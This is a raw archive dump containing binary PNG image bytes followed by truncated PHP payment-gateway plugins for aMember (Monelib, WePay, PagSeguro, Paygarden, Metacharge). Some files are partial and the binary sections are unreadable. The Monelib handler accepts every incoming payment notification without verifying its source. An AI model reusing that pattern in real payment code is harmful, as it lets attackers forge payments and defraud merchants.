~rG䳈5{fv,]2IF'`fddOʼnؾ}x!JK HY3# $ ~_ܵkWyy}FF*6jZUz$ym]qy(-;۷"77ww}w=D6Yr<BkI!CT9s`#jK!K>zjq- Nʥuc ѯo?,_\y5xz&u0xrPfcE APKT{Q鬀GAڊLK1/X\ɘx1~:ٳ'v~4iO!%*bM{rq]Bn^9X^D6L :Y:a@@Ty0tܖy'n6ARI&&A Č/~f"7ztl]6 pq~ (>9擅!/Î3ا0 gυnUD 3QHܵ@LuUب9ʊg>QHLT>NO?g2 H{Nl/ٌ]%ۉb9SHC(Y*9_#Mȡuw2^Xhyl,4o߾ٳp}vI0X^QZnGY.>"hU]*kcW$mU> ŕDZtJ ߃55 ׏v5 g73`ى3+oq_igO۰ڈwrJQ,Si>_Cmk~V1V]gś喰8'[^JJ3pբ/Y*}e(qc$FeG$a֙!,#T R//6c0tUXn8獬u~ZE^5 , ZSS{-iSQoT"jqp]Eo[&Q4o;ksM^8ȉbUr802'_Ed"2t9uc]3o*9Q|]wâl+$aY[c+Z"RIQ61Sփ[g[ كra"3C\lZ60,.?Amj8~GR]'}Co~Nj+6B$hrXnbOn ݟko}Pph!cǎa>@Y!ZEff6c2:#X .`Ϟ]up7``!ik67, ? lٱUF#.ʃ5YvRtVi:X| ffߊ"8zG 4I~ȭ&ЋGRk`9>v:&C>bwIMT.O8 &@yV1Hnqo*ZK\o[Omgu[^|eRV[8{kÿG^qwtm 'ncrmߔC_E nOyO-=K`%HנfV%1!Rܕ~'^=v.~ms"V.IXB1 /gUJ3*mi29bNo {/0YPBPNxd I 9l"웳3>NsrZ..wVmE\'<"k4|Sɶ[q[pæ۰ ̰R,F |5/,|N~ Ȑ`KKk C*Get~բD1nuIԕ0>gf=v%LsvAdŚ TE+'2'iPygweZD<,9=GFiieTE'iu&M&z-s LRZȪ!OdjDu1tX Yپ qbMΫPsnI6-G[V 40L'\bLj̛p_vX26t:k.,]݇_ƭt7KwMhth5 *LbHPZ:tj] l٪*;QoeG`9jsxbgo^4ưA) }x{k9ode' yxo;_PRp,b?f%,gΜO2]b? HZU.r|t~Y5ZTҼ]i< R+.\@P_L`퇾9bv۶m"UXX#Fa7A㛓{pv;v`A+ؒ='z"?m !IXb._ʨDe$Eq`yXvݺu٣'^>]1 F*]WY1-;v)9DŞ8Y8'0i9"vV^-EIMMd<~5,~1_˱[Ѥi0dM!$'X&')HxR@-Pyg%IYh5(a oM$b2 \4kםwn[7$y%cIENDB`PK\?U<<<%payment/monelib/public/buyCode_en.pngnu[PNG  IHDRIBd֐.tEXtCreation Timemar. 18 nov. 2008 17:51:27 +0100\F7tIME $4W pHYs  ~gAMA aIDATx] |TչLEe"]P֪_ŵ>byuŅ"ll%(Q 2ٗ;7LI2s{~};RNNxZ.B 1D1. &yCKo~GUgW"ZYc8k#k g 4]NܹsRp8^G0m4'DqqqgW;n׿ 2&MTm{b6l:1? ظq#z.j=sٓnذ]ڈg?< <2E&|v 2 nXϫkx.6uV!\xxߵk׊}֬Ygy |3x뭷0~x=g`0஻qM7`j߾}HOOovbl{׮]B4ߏ;S`#FeZ cN4ncoI_ީ&@kB~Us[7$q̇&ʋ~N;=f7(w߅nۘK,?Gii>lٲO=0rԯL`'L/b߿#E q/8⯪B߾}.5s(OMM;Ybt8Yӝ5jTmǍ^zxX>}:fϞ]?]^t ?|u-ZHbSщe?7NQSDxEϸ;DN3-c…'1DzHs5o=M}73:w&FsnV~OczIxh E~LKykd*wvu"Fd3:۾c?^]l@fuxVT_u2^B?x Ա^^UJ2WaB1gl;cV\iaH7S]_&`L97D;O,Ei۝ `B8WoxKY\ӆKx5JD>7T iego^c؋auXG jh_ LTq}6< dԒ}`JUL\6#[W#24tsբܦ\Ѧ|o~I9Uwrq0qBTnާJțjAT.U~JxOeyR'|.6,ޔ N?->H}a;'?ƄߔEd7c/zZV* $ *"Ҳ~en`w;Qw|Q &I*Pǁ]B 2ڠh)=i{@/OJv*KdUgJݓfeW5S(>=wFWQSg{[ƺ<)CTp*2 q_54t E+Y_@utT`?NC,:9Z{7H&g`]#t9.}$!C ȝۑ/e_H>> ODq!}(;VMbӡ&$IBJJ 222н{w_v~Q3:yX;r=0`a.v:7xgCY 80[<^={#+ lq6:H'n/<wؽ{x{ϙH)u޶g&R!oRO[{}!;{2S3!ksa[v9N_J8oxjp r6CRK1MF)2 M)SzQGWw0[eC'5aQ^9TW&ΠAЯ_L-8F)]׃*()e$+ y[OBAI>aQ۰&K.9ۦ鬳VN2;tjyNcYodIK-XXan  2KxҪslgwIfuD\W~Qf};!!Xg_G:Sڇt[ NF׎˳$7 >)MYggT(sdYOl˜bMb v Y ܎$īd Z,~gN1 +y*9TئG;C$2R2`%zdAA.S/Hpz\*83)T 9OThFWK *OO [ 7̱ۧ>X,WgO+7.?*㎂$Wa"WhcS+lWn>mZO<ګg/Rʃ<C)jB/Gaiҭ>e}i GtFdZɫqgPbzI%_zQAǞDjWtL[8ny_gj9[Yb<\.LINV *5x w'Tcܱ4\D7Qyi6|.˻nš[W;IAeЍ* nEnQ%ZWp#]@ČN.$KDs̴Z 4WG֩Ğ1$s8/ ]lV'{ֳN6QpV_-m "b-!os|&0IEZk4{f0{=_#dʚjC#1ޡɜ@^?UGDj)\dnE$<|PWiP.9R5QW|b ٮEjJ2RI2C]8ZihŐ8V )i`a{p0,MHIHDG)רy`YU>d8"N%FcMʯ"2y|-`0~hKWhp?BPp{.|`FXm60PiT"h4`1AwA9舔f85Z{丷"W*4: j|5֋. <ϳiuPY$E#m1+n%u`4MӺ;X2Yy4l#eŕUUH$A]CI]DYyWF/Ws)ܬDUf}v_b6ܵnqSuZhx,}l q w;ngH2%Hυmf(0pԵ$$z<.砰$y\xqLeG |7+XdG6!plن_¸c޸ePᓂ^e.խP^v^*eR!^bŧ yrU"jSW1DxFiǎfYcS>m^s,M"(|p[6'dAWPԖ0]{F/K7_v"F"XUR\\]} >o#o_ܪ#RgU(Og}TjPAJ45x= ^^7,_5ݵk K.S^kG\`}؃#5G`/oC~c臑I1"~$Z nsFmYchx g a7mڄ~}a{`}bHWj88AQž{Dz~NQq0jF1 Lcǎ٦׋GQa2h=1S7}9w iK41nIc2r> dD&@<)S|֙setLayout('layout.phtml'); ?>
    src)): ?>
    PK\wn55payment/monelib/monelib.phpnu[_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_Monelib extends Am_Paysystem_Abstract { const PLUGIN_STATUS = self::STATUS_BETA; const PLUGIN_REVISION = '5.0.6'; protected $defaultTitle = 'Monelib'; protected $defaultDescription = 'credit card payments'; const MONELIB_POS_FIELD = 'monelib_point_of_sale'; const MONELIB_ZOS_FIELD = 'monelib_zone_of_sale'; const MONELIB_PIN_FIELD = 'monelib_pin'; const URL_PURCHASE = 'https://www.%smonelib.com/accessScript/ezPurchase.php'; const URL_CHECK = 'http://www.monelib.com/accessScript/check.php'; const URL_CANCEL = 'https://www.%smonelib.com/accessScript/ezManager.php'; public function _initSetupForm(Am_Form_Setup $form) { $form->addSelect('lang') ->setLabel('Language') ->loadOptions(array( 'en' => 'English', 'fr' => 'France', )); $form->addAdvCheckbox('use_image') ->setLabel("Use Monelib Image\n" . 'instead standard aMember button'); } public function init() { parent::init(); if ($this->isConfigured()) { $this->getDi()->productTable->customFields() ->add(new Am_CustomFieldText(self::MONELIB_ZOS_FIELD, 'Monelib Zone of Sale ID')); $this->getDi()->productTable->customFields() ->add(new Am_CustomFieldText(self::MONELIB_POS_FIELD, 'Monelib Point of Sale ID')); } } protected function getUrl($url) { return sprintf($url, $this->getConfig('lang') == 'en' ? 'en.' : ''); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { if(!($product = $invoice->getItem(0)->tryLoadProduct())) throw new Am_Exception_InternalError("Product is not loaded from item"); if(!($zos = $product->data()->get(self::MONELIB_ZOS_FIELD))) throw new Am_Exception_InternalError("This product is not assigned to Monelib Zone of Sale ID"); if(!($pos = $product->data()->get(self::MONELIB_POS_FIELD))) throw new Am_Exception_InternalError("This product is not assigned to Monelib Point of Sale ID"); $a = new Am_Paysystem_Action_HtmlTemplate_Monelib($this->getDir(), 'monelib.phtml'); $a->ext_frm_pos = $pos; $a->ext_frm_tpldiz = 'std_' . $this->getConfig('lang'); $a->ext_frm_data0 = $invoice->public_id; $a->ext_frm_data1 = $zos; $a->action = $this->getUrl(self::URL_PURCHASE); $a->url_thanks = $this->getReturnUrl(); if($this->getConfig('use_image')) { $a->src = $this->getRootUrl() . "/application/default/plugins/payment/monelib/public/buyCode_" . $this->getConfig('lang') . ".png"; } $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if( $request->getActionName() == 'ipn' && ($request->getParam('monelib_meaning') == 'USEMULTISHOT' || $request->getParam('monelib_meaning') == 'USEEZSHOT') ) { return; } parent::directAction($request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { if($actionName == 'cancel-admin') { $invoice->setCancelled(true); } else { parent::cancelAction($invoice, $actionName, $result); } } function getUserCancelUrl(Invoice $invoice) { return $this->getUrl(self::URL_CANCEL); } public function getReadme() { $ipn = $this->getPluginUrl('ipn'); $url = $this->getUrl(self::URL_CANCEL); return <<Monelib Installation Readme 1. Go to 'Monelib Account -> Set up -> Zones and points of sales': a. create new sales zone (it is 'Monelib Zone of Sale ID') b. create new point of sales (it is 'Monelib Point of Sale ID'): - configure Subscription plans so that this plan is matched with your current subscription - at 'Advanced configuration': at 'Return of the parameters on the return pages' check 'If the code is accepted' option at 'Notification url' set this URL $ipn Repeat this step for each your product. 2. Go to 'aMember CP -> Products -> Manage Products', click edit and fill: - 'Monelib Zone of Sale ID' option (from step 1a) - 'Monelib Point of Sale ID' option (from step 1b) Repeat this step for each your product. Note: When user stops his subscription (by link like as $url?ext_frm_key=05888686af39) - monelib does not send any notification about that, but admin can set at invoice status 'Recurring Cancelled' by clicking to 'Stop Recurring' link CUT; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Incoming_Monelib($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Incoming_Monelib extends Am_Paysystem_Transaction_Incoming { public function validateSource() { return true; } public function findInvoiceId() { if ($this->request->getParam('monelib_meaning') == 'NEWMULTISHOT') return $this->request->getParam('monelib_data0'); elseif ($this->request->getParam('monelib_meaning') == 'RENEWMULTISHOT') return Am_Di::getInstance()->invoiceTable-> findFirstByData(Am_Paysystem_Monelib::MONELIB_PIN_FIELD, $this->request->getParam('monelib_pincode0'))->public_id; } public function validateStatus() { if ($this->request->getParam('monelib_meaning') == 'RENEWMULTISHOT') return true; $pin = $this->request->getParam('monelib_pincode0'); $zos = $this->request->getParam('monelib_data1'); $pos = $this->request->getParam('monelib_pos'); $post = array( 'ext_frm_code0' => $pin, 'ext_frm_online' => 1, 'ext_frm_pos' => $pos, 'ext_frm_zos' => $zos, ); $req = new Am_HttpRequest(Am_Paysystem_Monelib::URL_CHECK . "?" . http_build_query($post)); $res = $req->send()->getBody(); if(strpos($res, "OK") === 0) { $this->invoice->data()->set(Am_Paysystem_Monelib::MONELIB_PIN_FIELD, $pin); $this->invoice->comment = "Pin: " . $pin; $this->invoice->update(); return true; } } public function getUniqId() { $trId = $this->request->getParam('monelib_trans'); if($trId == 'test') $trId .= '-' . $this->request->getParam('monelib_expires'); return $trId; } public function validateTerms() { return true; } }PK\>5;5;payment/wepay.phpnu[addInteger('client_id', array('size' => 20)) ->setLabel('Your Client ID#'); $form->addText('secret', array('size' => 20)) ->setLabel('Your Client Secret'); $form->addText('token', array('size' => 40)) ->setLabel('Your Access Token'); $form->addInteger('account_id', array('size' => 20)) ->setLabel('Your Account ID#'); $form->addSelect('fee_payer')->setLabel(___('Who is paying the fee')) ->loadOptions(array( 'payee' => 'the person receiving the money', 'payer' => 'the person paying', /*'payee_from_app' => 'if payee is paying for app fee and app is paying for WePay fees' 'payer_from_app' => 'if payer is paying for app fee and the app is paying WePay fees',*/ )); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } public function getUrl() { return ($this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL); } function getPeriod(Invoice $invoice) { $tz = date_default_timezone_get(); date_default_timezone_set('EST5EDT'); $first_period = new Am_Period($invoice->first_period); $second_period = new Am_Period($invoice->second_period); $periods = array( '1d' => 'daily', '7d' => 'weekly', '14d' => 'biweekly', '1m' => 'monthly', '2m' => 'bimonthly', '3m' => 'quarterly', '1y' => 'yearly', Am_Period::MAX_SQL_DATE => 'once' ); $period = $periods[$invoice->second_period]; if(empty($period)) { Am_Di::getInstance()->errorLogTable->log("WEPAY. {$invoice->second_period} is not supported"); date_default_timezone_set($tz); throw new Am_Exception_InternalError(); } if($invoice->rebill_times == IProduct::RECURRING_REBILLS) { date_default_timezone_set($tz); return array($period,''); } $end = $first_period->addTo(date('Y-m-d')); for($i=0;$i<$invoice->rebill_times;$i++) $end = $second_period->addTo($end); date_default_timezone_set($tz); return array($period,$end); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { //recurring if(!is_null($invoice->second_period)) { if($invoice->first_total != $invoice->second_total) throw new Am_Exception_InputError(___('Wepay does not support trial periods!')); list($period,$end_time) = $this->getPeriod($invoice); $mode = 'preapproval'; $params = array( 'account_id' => $this->getConfig('account_id'), 'amount' => $invoice->second_total, 'short_description' => $invoice->getLineDescription(), 'redirect_uri' => $this->getReturnUrl(), 'callback_uri' => $this->getPluginUrl('ipn'), 'reference_id' => $invoice->public_id, 'frequency' => 1, 'end_time' => $end_time, 'auto_recur' => 'true', 'period' => $period, 'fee_payer' => $this->getConfig('fee_payer'), 'currency' => $invoice->currency ); } //not recurring else { $mode = 'checkout'; $params = array( 'account_id' => $this->getConfig('account_id'), 'amount' => $invoice->first_total, 'short_description' => $invoice->getLineDescription(), 'type' => 'goods', 'hosted_checkout' => array( 'redirect_uri' => $this->getPluginUrl('thanks'), 'mode' => 'regular' ), 'fee' => array( 'fee_payer' => $this->getConfig('fee_payer'), ), 'reference_id' => $invoice->public_id, 'currency' => $invoice->currency ); } $params = array_filter($params); $req = new Am_HttpRequest($this->getUrl() . "/$mode/create", Am_HttpRequest::METHOD_POST); $req->setBody(json_encode($params)); $req->setHeader("Content-Type", "application/json"); $req->setHeader("Authorization", "Bearer ". $this->getConfig('token')); $res = $req->send(); $arr = json_decode($res->getBody(),true); if($res->getStatus()!=200) { $this->getDi()->errorLogTable->log("WEPAY API ERROR : $arr[error_code] - $arr[error_description]"); throw new Am_Exception_InputError(___('Error happened during payment process. ')); } if(!empty($arr['error_description'])) throw new Am_Exception_InputError($arr['error_description']); $a = new Am_Paysystem_Action_Redirect(!empty($arr['hosted_checkout']['checkout_uri']) ? $arr['hosted_checkout']['checkout_uri'] : $arr['preapproval_uri']); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->get('checkout_id')) return new Am_Paysystem_Transaction_Wepay_Checkout($this, $request, $response,$invokeArgs); else return new Am_Paysystem_Transaction_Wepay_Preapproval($this, $request, $response,$invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Wepay_Thanks($this, $request, $response,$invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getSupportedCurrencies() { return array('USD'); } public function getReadme() { return <<getPaymentRecords(); $params = array( 'checkout_id' => $payments[0]->receipt_id ); $req = new Am_HttpRequest(($this->getUrl()) . "/checkout/", Am_HttpRequest::METHOD_POST); $req->setBody(json_encode($params)); $req->setHeader("Content-Type", "application/json"); $req->setHeader("Authorization", "Bearer ". $this->getConfig('token')); $res = $req->send(); $arr = json_decode($res->getBody(),true); if($res->getStatus()!=200) { Am_Di::getInstance()->errorLogTable->log("WEPAY API ERROR : $arr[error_code] - $arr[error_description]"); return false; } if(!empty($arr['error_description'])) return false; //cancel preapproval $params = array( 'preapproval_id' => $arr['preapproval_id'], ); $req = new Am_HttpRequest($this->getUrl() . "/preapproval/cancel", Am_HttpRequest::METHOD_POST); $req->setBody(json_encode($params)); $req->setHeader("Content-Type", "application/json"); $req->setHeader("Authorization", "Bearer ". $this->getConfig('token')); $res = $req->send(); $arr = json_decode($res->getBody(),true); if($res->getStatus()!=200) { $this->getDi()->errorLogTable->log("WEPAY API ERROR : $arr[error_code] - $arr[error_description]"); throw new Am_Exception_InputError(___("An error occurred while cancellation request")); } if($arr['state'] != 'cancelled') throw new Am_Exception_InputError(___("An error occurred while cancellation request")); } } class Am_Paysystem_Transaction_Wepay_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { protected $checkout; public function findInvoiceId() { return $this->checkout['reference_id']; } public function getUniqId() { return $this->checkout['checkout_id']; } public function validateSource() { $params = array( 'checkout_id' => $this->request->get('checkout_id') ); $req = new Am_HttpRequest(($this->plugin->getUrl()) . "/checkout/", Am_HttpRequest::METHOD_POST); $req->setBody(json_encode($params)); $req->setHeader("Content-Type", "application/json"); $req->setHeader("Authorization", "Bearer ". $this->plugin->getConfig('token')); $res = $req->send(); $arr = json_decode($res->getBody(),true); $this->log->add(var_export($arr,true)); if($res->getStatus()!=200) { Am_Di::getInstance()->errorLogTable->log("WEPAY API ERROR : $arr[error_code] - $arr[error_description]"); return false; } if(!empty($arr['error_description'])) return false; $this->checkout = $arr; return true; } public function validateStatus() { return in_array($this->checkout['state'], array('captured','approved','authorized')); } public function validateTerms() { return doubleval($this->invoice->first_total) == doubleval($this->checkout['amount']); } } class Am_Paysystem_Transaction_Wepay_Checkout extends Am_Paysystem_Transaction_Incoming { protected $checkout; protected $preapproval; public function findInvoiceId() { return $this->preapproval['reference_id']; } public function getUniqId() { return $this->request->get('checkout_id'); } public function validateSource() { $params = array( 'checkout_id' => $this->request->get('checkout_id') ); $req = new Am_HttpRequest(($this->plugin->getUrl()) . "/checkout/", Am_HttpRequest::METHOD_POST); $req->setBody(json_encode($params)); $req->setHeader("Content-Type", "application/json"); $req->setHeader("Authorization", "Bearer ". $this->plugin->getConfig('token')); $res = $req->send(); $arr = json_decode($res->getBody(),true); $this->log->add(var_export($arr,true)); if($res->getStatus()!=200) { Am_Di::getInstance()->errorLogTable->log("WEPAY API ERROR : $arr[error_code] - $arr[error_description]"); return false; } if(!empty($arr['error_description'])) return false; $this->checkout = $arr; $params = array( 'preapproval_id' => isset($arr['preapproval_id']) ? $arr['preapproval_id'] : $arr['payment_method']['preapproval']['id'] ); $req = new Am_HttpRequest(($this->plugin->getUrl()) . "/preapproval/", Am_HttpRequest::METHOD_POST); $req->setBody(json_encode($params)); $req->setHeader("Content-Type", "application/json"); $req->setHeader("Authorization", "Bearer ". $this->plugin->getConfig('token')); $res = $req->send(); $arr = json_decode($res->getBody(),true); $this->log->add(var_export($arr,true)); if($res->getStatus()!=200) { Am_Di::getInstance()->errorLogTable->log("WEPAY API ERROR : $arr[error_code] - $arr[error_description]"); return false; } if(!empty($arr['error_description'])) return false; $this->preapproval = $arr; return true; } public function validateStatus() { return in_array($this->checkout['state'], array('authorized','captured','refunded')); } public function validateTerms() { return doubleval($this->invoice->second_total) == doubleval($this->checkout['amount']); } public function processValidated() { switch ($this->checkout['state']) { case 'authorized': case 'captured': $this->invoice->addPayment($this); break; case 'refunded': $this->invoice->addRefund($this, $this->request->get('checkout_id')); break; default : ; } } } class Am_Paysystem_Transaction_Wepay_Preapproval extends Am_Paysystem_Transaction_Incoming { protected $preapproval; public function findInvoiceId() { return $this->preapproval['reference_id']; } public function getUniqId() { return $this->request->get('preapproval_id'); } public function validateSource() { $params = array( 'preapproval_id' => $this->request->get('preapproval_id') ); $req = new Am_HttpRequest(($this->plugin->getUrl()) . "/preapproval/", Am_HttpRequest::METHOD_POST); $req->setBody(json_encode($params)); $req->setHeader("Content-Type", "application/json"); $req->setHeader("Authorization", "Bearer ". $this->plugin->getConfig('token')); $res = $req->send(); $arr = json_decode($res->getBody(),true); $this->log->add(var_export($arr,true)); if($res->getStatus()!=200) { Am_Di::getInstance()->errorLogTable->log("WEPAY API ERROR : $arr[error_code] - $arr[error_description]"); return false; } if(!empty($arr['error_description'])) return false; $this->preapproval = $arr; return true; } public function validateStatus() { return in_array($this->preapproval['state'], array('new', 'approved', 'expired', 'revoked', 'cancelled', 'stopped', 'completed', 'retrying')); } public function validateTerms() { return doubleval($this->invoice->second_total) == doubleval($this->preapproval['amount']); } public function processValidated() { switch ($this->preapproval['state']) { case 'cancelled': case 'revoked': case 'stopped': $this->invoice->setCancelled(true); break; default : ; } } }PK\Cgi;;payment/pagseguro.phpnu[addText('merchant')->setLabel('Merchant Email'); $form->addText('token')->setLabel('Security Token'); } function getSupportedCurrencies() { return array('BRL', 'USD'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect('https://pagseguro.uol.com.br/security/webpagamentos/webpagto.aspx'); $a->email_cobranca = $this->getConfig('merchant'); $a->tipo = 'CP'; $a->moeda = strtoupper($invoice->currency); $a->image = 'btnComprarBR.jpg'; $a->item_id_1 = $invoice->public_id; $a->item_descr_1 = $invoice->getLineDescription(); $a->item_quant_1 = 1; $a->item_valor_1 = str_replace('.', '', sprintf('%.2f', $invoice->first_total)); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Pagseguro($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getReadme() { return <<PagSecuro payment plugin configuration http://pagseguro.uol.com.br Activate "return URL" at your PagSeguro merchant account. To activate Automatic Data Return, select the option Ativar and inform the URL to which PagSeguro will redirect your customers after completion of payment. After that, click Salvar. You have to set up %root_url%/payment/pagseguro/ipn as "return URL". CUT; } function getReturnUrl($invoice) { $this->invoice = $invoice; return parent::getReturnUrl(); } } class Am_Paysystem_Transaction_Pagseguro extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('ProdID_1'); } public function getUniqId() { return $this->request->get('TransacaoID'); } public function validateSource() { $vars = $this->request->getPost(); $vars['tipo'] = 'CP'; $vars['Comando'] = 'validar'; $vars['Token'] = $this->getPlugin()->getConfig('token'); $vars['email_cobranca']= $this->getPlugin()->getConfig('merchant'); try{ $r = new Am_HttpRequest("https://pagseguro.uol.com.br/Security/NPI/Default.aspx?".http_build_query($vars, '', '&')); $response = $r->send(); }catch(Exception $e){ $this->getPlugin()->getDi()->errorLogTable->logException($e); } if($response && ($response->getBody() == 'VERIFICADO')){ return true; } throw new Am_Exception_Paysystem_TransactionSource('Incorrect transaction received. Please contact webmaster for details'); } public function validateStatus() { if(in_array(strtoupper($this->request->get('StatusTransacao')),array('APROVADO','COMPLETO'))) return true; throw new Am_Exception_Paysystem_TransactionInvalid('Transaction is not approved'); } public function validateTerms() { if(str_replace(',', '.', $this->request->get('ProdValor_1')) != $this->invoice->first_total) throw new Am_Exception_Paysystem_TransactionInvalid('Incorrect amount received'); return true; } public function processValidated() { $this->invoice->addPayment($this); Am_Mvc_Response::redirectLocation($this->getPlugin()->getReturnUrl($invoice)); } } PK\)SR#R#payment/paygarden.phpnu[getDi()->productTable->customFields() ->add(new Am_CustomFieldText(self::PAYGARDEN_PRODUCT_ID, 'Paygarden Product ID')); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('parther_id') ->setLabel("Your Parner ID\n" . 'unique string that identifies your corporate entity') ->addRule('required'); $form->addText('api_key', array('class' => 'el-wide')) ->setLabel("Your API Key\n" . 'unique string supplied to you during initial setup') ->addRule('required'); } public function getSupportedCurrencies() { return array_keys(Am_Currency::getFullList()); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $prs = $invoice->getProducts(); /* @var $product Product */ $product = $prs[0]; if(!($prId = $product->data()->get(self::PAYGARDEN_PRODUCT_ID))) throw new Am_Exception_InternalError("Product #{$product->pk} {$product->title} has no Paygarden Product ID"); /* @var $user User */ $user = $invoice->getUser(); $data = array( 'txn-type' => 'initial', 'account-id' => $user->pk(), 'email' => $user->email, 'passthrough' => $invoice->public_id, 'postback-url' => $this->getPluginUrl('ipn'), 'continue-url' => $this->getReturnUrl(), ); $url = sprintf(self::URL, $this->getConfig('parther_id'), $prId); $a = new Am_Paysystem_Action_Redirect($url . "?" . http_build_query($data, null, '&')); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paygarden($this, $request, $response, $invokeArgs); } function onThanksPage(Am_Event $event) { if($event->getInvoice()->paysys_id != $this->getId()) return; $content = ""; $this->getDi()->blocks->add(new Am_Block('thanks/success', ___('Thanks Success'), 'thanks-page-content', $this, function(Am_View $view) use ($content) { return $content; })); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { return << true)); exit; } } public function getUniqId() { return ($this->request->get('txn-type') == 'initial') ? $this->request->get("confirmation-code") : $this->request->get("txn-id"); } public function findInvoiceId() { if(($this->request->get('txn-type') == 'initial')) return $this->request->get("passthrough"); if(($this->request->get('txn-type') == 'cancel')) { if($invoice = $this->plugin->getDi()->invoiceTable->findFirstByData(Am_Paysystem_Paygarden::PAYGARDEN_TXN_ID, $this->request->get("txn-id"))) return $invoice->public_id; } // old invoice header('Content-Type: application/json'); echo json_encode(array('success' => true)); exit; } protected function autoCreate() { try { $invoiceId = $this->findInvoiceId(); if ($invoiceId === null) throw new Am_Exception_Paysystem_TransactionEmpty("Looks like an invalid IPN post - no Invoice# passed"); $invoiceId = filterId($invoiceId); if (!strlen($invoiceId)) throw new Am_Exception_Paysystem_TransactionInvalid("Could not load Invoice related to this transaction, passed id is not a valid Invoice#[$invoiceId]"); if (!$this->invoice = $this->loadInvoice($invoiceId)) { // throw new Am_Exception_Paysystem_TransactionUnknown("Unknown transaction: related invoice not found #[$invoiceId]"); $this->getPlugin()->getDi()->errorLogTable->log("Unknown transaction: related invoice not found #[$invoiceId]"); // say to paysys - don't resend IPN header('Content-Type: application/json'); echo json_encode(array('success' => true)); exit; } } catch (Am_Exception_Paysystem $e) { if (!$this->plugin->getConfig('auto_create')) throw $e; // try auto-create invoice $invoice = $this->autoCreateInvoice(); if ($invoice) $this->invoice = $invoice; else throw $e; } $this->time = $this->findTime(); } public function validateSource() { return ($this->request->get('api-key') == $this->plugin->getConfig('api_key') && in_array($this->request->get('txn-type'), array('initial', 'cancel'))); } public function validateStatus() { return true; } public function validateTerms() { if(($this->request->get('txn-type') == 'cancel')) return true; $prs = $this->invoice->getProducts(); /* @var $product Product */ $product = $prs[0]; return ($this->request->get('product-id') == $product->data()->get(Am_Paysystem_Paygarden::PAYGARDEN_PRODUCT_ID)); } public function processValidated() { switch ($this->request->get('txn-type')) { case 'initial': $data = $this->processPayment(); break; case 'cancel': $data = $this->processCancel(); break; default: throw new Am_Exception_InputError("Unknown IPN-request type [{$this->request->get('txn-type')}]"); } header('Content-Type: application/json'); echo json_encode($data); exit; } protected function processPayment() { $days = $this->request->get('units-sold'); $paid = moneyRound($this->request->get('payout')/100); //Pasar a EUR $rate_default = '1.12'; $XMLContent=file("http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml"); foreach($XMLContent as $line){ if(preg_match("/currency='([[:alpha:]]+)'/",$line,$currencyCode) && $currencyCode[1] == 'USD'){ if(preg_match("/rate='([[:graph:]]+)'/",$line,$rate)){ $rate_default = $rate[1]; } } } $paid /= $rate_default; $item = $this->invoice->getItem(0); $item->first_period = $days . 'd'; $item->first_price = $paid; $item->rebill_times = 0; $item->second_price = 0; $item->_calculateTotal(); $item->update(); $item->data()->set('orig_first_price', null)->update(); $this->invoice->calculate(); $this->invoice->first_period = $days . 'd'; $this->invoice->data()->set(Am_Paysystem_Paygarden::PAYGARDEN_TXN_ID, $this->request->get("txn-id")); $this->invoice->update(); parent::processValidated(); /* @var $user User */ $user = $this->invoice->getUser(); return array( 'success' => true, 'username' => $user->login, 'account-id' => $user->pk(), ); } protected function processCancel() { /* @var $access Access */ if(!($access = $this->plugin->getDi()->accessTable->findFirstByInvoiceId($this->invoice->pk()))) throw new Am_Exception_InternalError("Access not found for invoice {$this->invoice->public_id}"); $access->updateQuick('expire_date', sqlDate(strtotime('-1 day'))); $this->invoice->getUser()->checkSubscriptions(true); $this->invoice->updateQuick('comment', 'Canceled by PayGarden at ' . amDate('now')); return array( 'success' => true, ); } }PK\] payment/metacharge.phpnu[addText("installation_id", array('size' => 15)) ->setLabel("Your Metacharge installation ID\n" . "refer to Merchant Extranet: Account Management > Installations") ->addRule('required'); $form->addText("auth_username", array('size' => 15)) ->setLabel("Response HTTP Auth Username\n" . "Metacharge PRN response authorisation username") ->addRule('required'); $form->addPassword("auth_password", array('size' => 15)) ->setLabel("Response HTTP Auth Password\n" . "Metacharge PRN response authorisation password") ->addRule('required'); $form->addAdvCheckbox("testing")->setLabel("Test Mode Enabled"); } function metacharge_get_period($period) { // For scheduled payments based upon this transaction, the interval between payments, // given as XY where X is a number (1-999) and Y is “D” for days, “W” for weeks or “M” for months. $days = strtolower(trim($days)); if (preg_match('/^(\d+)(d|w|m|y)$/', $period, $regs)) { $count = $regs[1]; $period = $regs[2]; if ($period == 'd'){ return sprintf("%03d", $count) . "D"; } elseif ($period == 'w'){ return sprintf("%03d", $count) . "W"; } elseif ($period == 'm'){ return 